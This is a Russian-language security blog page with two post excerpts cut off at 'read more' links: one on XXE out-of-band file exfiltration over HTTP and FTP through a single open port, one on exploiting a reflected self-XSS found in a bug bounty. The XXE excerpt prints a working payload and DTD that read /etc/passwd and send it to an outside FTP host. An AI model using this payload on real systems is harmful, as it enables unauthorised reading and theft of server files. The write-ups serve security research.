XXE – OOB-извлечение данных по HTTP+FTP через единственный открытый порт

Предположим, мы нашли XXE-уязвимость и пытаемся организовать OOB-извлечение содержимого локальных файлов уязвимого сервера.
Существуют несколько различных способов проделать это, а мне недавно пришлось использовать извлечение по FTP-протоколу (насколько я понимаю, это было связано с версией Java уязвимого сервиса – она не позволяла извлекать содержимое, например, /etc/passwd, по HTTP).

Я использовал такой вектор:

1
2
3
4
5
6
7
8
< ?xml version="1.0" ?>
< !DOCTYPE r [
<!ELEMENT r ANY >
< !ENTITY % sp SYSTEM "http://host:1111/ext.dtd">
%sp;
%param1;
]>
<r>&exfil;</r>

и разметил по адресу http://host:1111/ext.dtd следующий DTD:

1
2
< !ENTITY % data SYSTEM "file:///etc/passwd">
< !ENTITY % param1 "<!ENTITY exfil SYSTEM 'ftp://host:2222/%data;'>">

Работает вектор следующим образом:
1. При обработке исходного XML уязвимое приложение подгружает внешнюю схему через HTTP по адресу http://host:1111/ext.dtd
2. При обработке загруженной схемы считывается локальный файл /etc/passwd и происходит попытка подгрузки внешней сущности exfil через FTP по адресу ftp://host:2222/%data;, где вместо %data; парсер подставит содержимое подгруженного /etc/passwd. Соответственно, контролируя FTP-сервер, мы легко прочитаем извлеченные данные.

И наверное все сработало бы как надо, если бы ни одно «но» – на серверном файерволле были разрешены исходящие соединения только на один единственный порт 3785, а необходимо было обеспечить 2 исходящих соединения: по HTTP, а потом по FTP. Пришлось подключать смекалку и думать, как корректно обработать два разных протокола на одном порту 🙂

Читать далее →

  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  

Как я отраженную self-XSS эксплуатировал или CORS – не приговор

На днях впервые наткнулся на отраженную self-XSS. Все просто, когда self-XSS хранимая – в таком случае внедряемый код сохраняется в некоей области приложения, которая доступна лишь пользователю, который туда это код смог поместить, например, в личном кабинете. В моем же случае произошло следующее: нашел ссылку, которая была уязвима к классической отраженной XSS, зарепортил в BugBounty (даже в голову не пришло пробовать передавать ее другому аккаунту). Через некоторое время получил ответ, что уязвимость не воспроизводится – стал разбираться.

Оказалось вот что: в уязвимом приложении был реализован механизм загрузки видео со сторонних сервисов и реализован был следующим образом:

  1. Пользователь нажимает кнопку «загрузить видео», открывается отдельная страница загрузки. В этот момент в базе создается, видимо, некоторая заглушка видео с уже присвоенным ему ID вида 10345 (ID виден в скрипте в исходном коде страницы).
  2. Пользователь выбирает пункт «загрузить со стороннего ресурса», в этот момент открывается новая страница с URL вида
    /uploadExt?videoId=10345&amp;vulnerableParam=test, которая как раз была уязвима к XSS через параметр vulnerableParam.

Проблема заключалась в том, что уязвимую ссылку нельзя было передать другому пользователю, так как он не имел доступа к видео с таким ID и получал в ответ 403 Unauthorized. В итоге выходило, что пользователь мог быть атакован только если он сам начал загрузку видео и переходил по ссылке со своим собственным videoId. Какие варианты я пробовал для обхода данного ограничения и что получилось в итоге – читайте ниже 🙂
Читать далее →